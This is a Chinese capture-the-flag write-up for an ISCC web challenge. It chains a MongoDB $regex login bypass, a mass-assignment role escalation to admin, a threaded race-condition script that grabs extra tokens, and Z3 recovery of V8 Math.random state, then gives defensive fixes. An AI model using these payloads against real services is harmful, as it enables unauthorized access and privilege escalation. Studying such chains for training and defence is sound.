ISCC 擂台赛八卦星图馆:NoSQL 注入、越权、竞争与随机数预测

一、题目背景

这道题按页面提示依次通过四关:

1
乾 -> 兑 -> 离 -> 震

每一关对应一个不同类型的 Web 安全问题。完整利用链如下:

1
2
3
4
5
MongoDB 注入登录
-> Mass Assignment 越权修改角色
-> 并发竞争获取 3 个令牌
-> 根据历史开奖恢复 Math.random 状态
-> 预测当前签号并提交

这是一道很典型的综合 Web 题,覆盖了认证绕过、权限控制、并发安全和伪随机数预测。

二、乾卦:NoSQL 注入登录

访问 /qian 后可以知道入口用户为:

1
qingyun

后端使用 MongoDB,登录接口为:

1
2
POST /qian/login
Content-Type: application/json

如果后端直接将 JSON 请求体传给 MongoDB 查询,例如:

1
2
3
4
db.users.findOne({
username: req.body.username,
password: req.body.password
})

并且没有限制 password 必须是字符串,那么就可以传入 MongoDB 查询操作符。

Payload:

1
2
3
4
5
6
{
"username": "qingyun",
"password": {
"$regex": ".*"
}
}

含义是密码匹配任意内容。登录成功后拿到当前 session,身份为:

1
apprentice

三、兑卦:Mass Assignment 越权

进入下一关后发现存在用户信息更新接口:

1
2
POST /dui/update
Content-Type: application/json

如果后端直接把用户提交的 JSON 合并到用户对象中,没有做字段白名单,就会出现 Mass Assignment 漏洞。

提交:

1
2
3
{
"role": "elder"
}

如果服务端没有限制普通用户修改 role 字段,就可以把自己的角色提升为 elder,从而进入后续令牌领取流程。

这个漏洞本质是权限字段被客户端控制。

四、离卦:并发竞争获取令牌

下一关需要获取 3 个司命令牌。领取接口:

1
POST /li/grab

正常情况下单线程只能领取 1 个 token,但后端领取逻辑不是原子操作,可能类似:

1
2
3
4
读取当前用户领取数量
-> 判断是否还能领取
-> 延迟或业务处理
-> 写入 token

当多个请求并发到达时,它们可能同时通过“领取数量检查”,从而多次写入 token。

利用方式:

1
2
3
4
5
1. 使用 NoSQL 注入登录
2. 通过 Mass Assignment 把角色改为 elder
3. 复用同一个 session
4. 使用线程池并发请求 /li/grab
5. 收集返回 JSON 中的 token

示例代码结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from concurrent.futures import ThreadPoolExecutor
import requests

s = requests.Session()

def grab():
r = s.post("http://target/li/grab", timeout=10)
try:
return r.json().get("token")
except Exception:
return None

tokens = set()
with ThreadPoolExecutor(max_workers=20) as pool:
for token in pool.map(lambda _: grab(), range(50)):
if token:
tokens.add(token)

print(tokens)

凑够 3 个 token 后进入最后一关。

五、震卦:Math.random 状态预测

/zhen/history 返回最近开奖历史:

1
2
3
4
5
6
7
8
9
{
"current_round": 157,
"history": [
{
"round": 156,
"number": 763660
}
]
}

页面提示签号生成方式为:

1
Math.floor(Math.random() * 1000000)

V8 的 Math.random() 使用 xorshift128+ 生成随机数。每期虽然只泄露 0 ~ 999999 的整数结果,但连续历史数量足够时,可以用 Z3 对内部状态建立约束。

关键注意点:

  • /zhen/history 返回顺序是新到旧,求解时要反转为旧到新。
  • 每个历史 number 对应一个随机浮点数区间,而不是完整随机数。
  • 恢复初始状态后,需要按历史数量推进到当前轮。
  • 最后用当前状态计算本轮预测值。

六、提交预测

预测接口:

1
2
POST /zhen/predict
Content-Type: application/json

请求体:

1
2
3
4
5
{
"round": 157,
"number": 123456,
"tokens": ["token1", "token2", "token3"]
}

如果预测正确但提示权限不足,可以继续利用 /dui/update 把角色改成:

1
2
3
{
"role": "admin"
}

然后重新提交预测,得到最终结果。

七、自动化脚本思路

完整自动化脚本可以按以下步骤写:

1
2
3
4
5
6
7
8
1. NoSQL 注入登录 qingyun
2. 修改角色为 elder
3. 并发请求 /li/grab 获取 3 个 token
4. 请求 /zhen/history 获取历史开奖
5. 使用 Z3 恢复 Math.random 状态
6. 预测当前轮 number
7. 修改角色为 admin
8. 提交 /zhen/predict

依赖:

1
pip install requests z3-solver

八、漏洞总结

这道题不是单点漏洞,而是多漏洞链式利用:

阶段 漏洞类型 影响
乾卦 NoSQL 注入 绕过登录
兑卦 Mass Assignment 修改角色
离卦 条件竞争 超额领取 token
震卦 伪随机数预测 预测签号

每个漏洞单独看都不一定直接拿到结果,但组合起来就形成了完整攻击路径。

九、防护建议

1. NoSQL 注入防护

  • 限制字段类型,密码必须是字符串。
  • 禁止用户输入对象操作符。
  • 使用固定查询结构和参数校验。

2. Mass Assignment 防护

  • 更新用户信息时使用字段白名单。
  • roleisAdminuid 等敏感字段不允许客户端修改。
  • 权限变更必须走单独审核流程。

3. 条件竞争防护

  • 令牌领取逻辑使用数据库原子操作。
  • 对关键资源加锁。
  • 领取次数检查和写入必须在同一事务中完成。

4. 随机数安全

  • 不使用 Math.random() 生成安全相关结果。
  • 使用密码学安全随机数。
  • 不向客户端暴露过多历史随机输出。

十、复盘

这道题很适合训练综合 Web 思维。它提醒我:真实攻击链里经常不是一个漏洞直接打穿,而是认证、权限、并发和业务逻辑连续出现小问题,最终被串成完整路径。

做这类题时,建议按业务流程走,不要只盯单个接口。每进入一个新状态,都重新观察页面、接口、角色和返回内容,往往能发现下一段链路。